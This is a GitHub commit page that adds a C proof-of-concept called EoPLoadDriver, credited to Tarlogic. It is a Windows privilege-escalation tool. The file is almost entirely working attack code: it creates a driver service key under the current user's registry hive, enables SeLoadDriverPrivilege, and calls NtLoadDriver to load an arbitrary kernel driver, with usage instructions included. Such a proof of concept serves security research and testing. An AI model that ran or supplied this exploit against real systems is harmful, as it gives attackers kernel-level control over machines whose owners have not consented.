-
Notifications
You must be signed in to change notification settings - Fork 41
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
65b132c
commit 4bffb75
Showing
1 changed file
with
307 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,307 @@ | ||
// EoPLoadDriver PoC by Oscar Mallo (Tarlogic) | ||
|
||
// If you have any suggestion or problem feel free to open an issue :) | ||
|
||
|
||
#include "stdafx.h" | ||
#include <Windows.h> | ||
#include <Winternl.h> | ||
#include <tchar.h> | ||
#include <stdio.h> | ||
#include <sddl.h> | ||
#include <shellapi.h> | ||
#include <strsafe.h> | ||
|
||
#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\") | ||
#define IMAGE_PATH _T("\\??\\") | ||
|
||
ULONG | ||
LoadDriver(LPWSTR userSid, LPWSTR RegistryPath) | ||
{ | ||
UNICODE_STRING DriverServiceName; | ||
NTSTATUS status; | ||
|
||
typedef NTSTATUS(_stdcall *NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName); | ||
typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR); | ||
|
||
NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver"); | ||
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); | ||
|
||
wchar_t registryPath[MAX_PATH]; | ||
_snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath); | ||
|
||
wprintf(L"[+] Loading Driver: %s\n", registryPath); | ||
|
||
|
||
RtlInitUnicodeString(&DriverServiceName, registryPath); | ||
|
||
status = NtLoadDriver(&DriverServiceName); | ||
printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError()); | ||
|
||
if (!NT_SUCCESS(status)) | ||
//return RtlNtStatusToDosError(status); | ||
return -1; | ||
return 0; | ||
|
||
} | ||
|
||
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx | ||
BOOL SetPrivilege( | ||
HANDLE hToken, // access token handle | ||
LPCTSTR lpszPrivilege, // name of privilege to enable/disable | ||
BOOL bEnablePrivilege // to enable or disable privilege | ||
) | ||
{ | ||
TOKEN_PRIVILEGES tp; | ||
LUID luid; | ||
|
||
if (!LookupPrivilegeValue( | ||
NULL, // lookup privilege on local system | ||
lpszPrivilege, // privilege to lookup | ||
&luid)) // receives LUID of privilege | ||
{ | ||
wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError()); | ||
return FALSE; | ||
} | ||
|
||
tp.PrivilegeCount = 1; | ||
tp.Privileges[0].Luid = luid; | ||
if (bEnablePrivilege) | ||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | ||
else | ||
tp.Privileges[0].Attributes = 0; | ||
|
||
// Enable the privilege or disable all privileges. | ||
|
||
if (!AdjustTokenPrivileges( | ||
hToken, | ||
FALSE, | ||
&tp, | ||
sizeof(TOKEN_PRIVILEGES), | ||
(PTOKEN_PRIVILEGES)NULL, | ||
(PDWORD)NULL)) | ||
{ | ||
wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError()); | ||
return FALSE; | ||
} | ||
|
||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) | ||
|
||
{ | ||
wprintf(L"[-] The token does not have the specified privilege. \n"); | ||
return FALSE; | ||
} | ||
|
||
return TRUE; | ||
} | ||
|
||
ULONG | ||
CreateRegistryKey( | ||
const LPWSTR RegistryPath, | ||
const LPWSTR DriverPath | ||
) | ||
{ | ||
ULONG dwErrorCode; | ||
HKEY hKey; | ||
DWORD dwDisposition; | ||
DWORD dwServiceType = 1; | ||
DWORD dwServiceErrorControl = 1; | ||
DWORD dwServiceStart = 3; | ||
SIZE_T ServiceImagePathSize; | ||
wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH]; | ||
|
||
_snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath); | ||
_snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath); | ||
|
||
dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER, | ||
registryPath, | ||
0, | ||
NULL, | ||
0, | ||
KEY_ALL_ACCESS, | ||
NULL, | ||
&hKey, | ||
&dwDisposition); | ||
|
||
if (dwDisposition != REG_CREATED_NEW_KEY) { | ||
RegCloseKey(hKey); | ||
wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode); | ||
return dwErrorCode; | ||
} | ||
|
||
ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR); | ||
|
||
dwErrorCode = RegSetValueExW(hKey, | ||
L"ImagePath", | ||
0, | ||
REG_EXPAND_SZ, | ||
(const BYTE *)serviceImagePath, | ||
ServiceImagePathSize); | ||
|
||
if (dwErrorCode) { | ||
RegCloseKey(hKey); | ||
return dwErrorCode; | ||
} | ||
|
||
dwErrorCode = RegSetValueExW(hKey, | ||
L"Type", | ||
0, | ||
REG_DWORD, | ||
(const BYTE *)&dwServiceType, | ||
sizeof(DWORD)); | ||
|
||
if (dwErrorCode) { | ||
RegCloseKey(hKey); | ||
return dwErrorCode; | ||
} | ||
|
||
dwErrorCode = RegSetValueExW(hKey, | ||
L"ErrorControl", | ||
0, | ||
REG_DWORD, | ||
(const BYTE *)&dwServiceErrorControl, | ||
sizeof(DWORD)); | ||
if (dwErrorCode) { | ||
RegCloseKey(hKey); | ||
return dwErrorCode; | ||
} | ||
|
||
dwErrorCode = RegSetValueExW(hKey, | ||
L"Start", | ||
0, | ||
REG_DWORD, | ||
(const BYTE *)&dwServiceStart, | ||
sizeof(DWORD)); | ||
|
||
RegCloseKey(hKey); | ||
return 0; | ||
} | ||
|
||
|
||
LPWSTR getUserSid(HANDLE hToken) | ||
{ | ||
|
||
// Get the size of the memory buffer needed for the SID | ||
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral | ||
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx | ||
|
||
DWORD dwBufferSize = 0; | ||
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) && | ||
(GetLastError() != ERROR_INSUFFICIENT_BUFFER)) | ||
{ | ||
wprintf(L"GetTokenInformation failed, error: %d\n", | ||
GetLastError()); | ||
return NULL; | ||
} | ||
|
||
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral | ||
PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc( | ||
GetProcessHeap(), | ||
HEAP_ZERO_MEMORY, | ||
dwBufferSize); | ||
|
||
if (pUserToken == NULL) { | ||
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken); | ||
return NULL; | ||
} | ||
|
||
// Retrive token info | ||
if (!GetTokenInformation( | ||
hToken, | ||
TokenUser, | ||
pUserToken, | ||
dwBufferSize, | ||
&dwBufferSize)) | ||
{ | ||
GetLastError(); | ||
return NULL; | ||
} | ||
|
||
// Check if SID is valid | ||
if (!IsValidSid(pUserToken->User.Sid)) | ||
{ | ||
wprintf(L"The owner SID is invalid.\n"); | ||
return NULL; | ||
} | ||
|
||
LPWSTR sidString; | ||
ConvertSidToStringSidW(pUserToken->User.Sid, &sidString); | ||
return sidString; | ||
} | ||
|
||
void printUsage() | ||
{ | ||
wprintf(L"Tarlogic Security\n"); | ||
wprintf(L"Usage: EOPLOADDRIVER.exe RegistryServicePath DriverImagePath\n eg: EOPLOADDRIVER.exe System\\CurrentControlSet\\MyService C:\\Users\\Username\\Desktop\\Driver.sys\n"); | ||
} | ||
|
||
int main() | ||
{ | ||
LPWSTR *szArglist; | ||
int nArgs; | ||
LPWSTR RegistryPath, DriverImagePath; | ||
ULONG dwErrorCode; | ||
int ret = 0; | ||
|
||
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); | ||
if (NULL == szArglist) | ||
{ | ||
printUsage(); | ||
return 0; | ||
} | ||
|
||
if (nArgs != 3) { | ||
printUsage(); | ||
LocalFree(szArglist); | ||
return 0; | ||
} | ||
|
||
RegistryPath = szArglist[1]; | ||
DriverImagePath = szArglist[2]; | ||
|
||
// Get Current Process Token | ||
HANDLE hToken; | ||
|
||
if (!OpenProcessToken(GetCurrentProcess(), | ||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) | ||
{ | ||
wprintf(L"[+] OpenProcessToken Failed\n"); | ||
goto cleanup; | ||
} | ||
|
||
LPWSTR userSidStr; | ||
|
||
userSidStr = getUserSid(hToken); | ||
if (userSidStr == NULL) | ||
{ | ||
wprintf(L"[+] Error while getting user SID\n"); | ||
goto cleanup; | ||
} | ||
|
||
dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath); | ||
if (dwErrorCode != 0) { | ||
wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode); | ||
goto cleanup; | ||
} | ||
|
||
// Enable Privileges | ||
wprintf(L"[+] Enabling SeLoadDriverPrivilege\n"); | ||
|
||
if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true)) | ||
wprintf(L"[+] SeLoadDriverPrivilege Enabled\n"); | ||
else | ||
{ | ||
wprintf(L"[-] SeLoadDriverPrivilege Failed\n"); | ||
goto cleanup; | ||
} | ||
|
||
ret = LoadDriver(userSidStr, RegistryPath); | ||
|
||
cleanup: | ||
CloseHandle(hToken); | ||
hToken = NULL; | ||
LocalFree(szArglist); | ||
|
||
return(ret); | ||
|
||
} |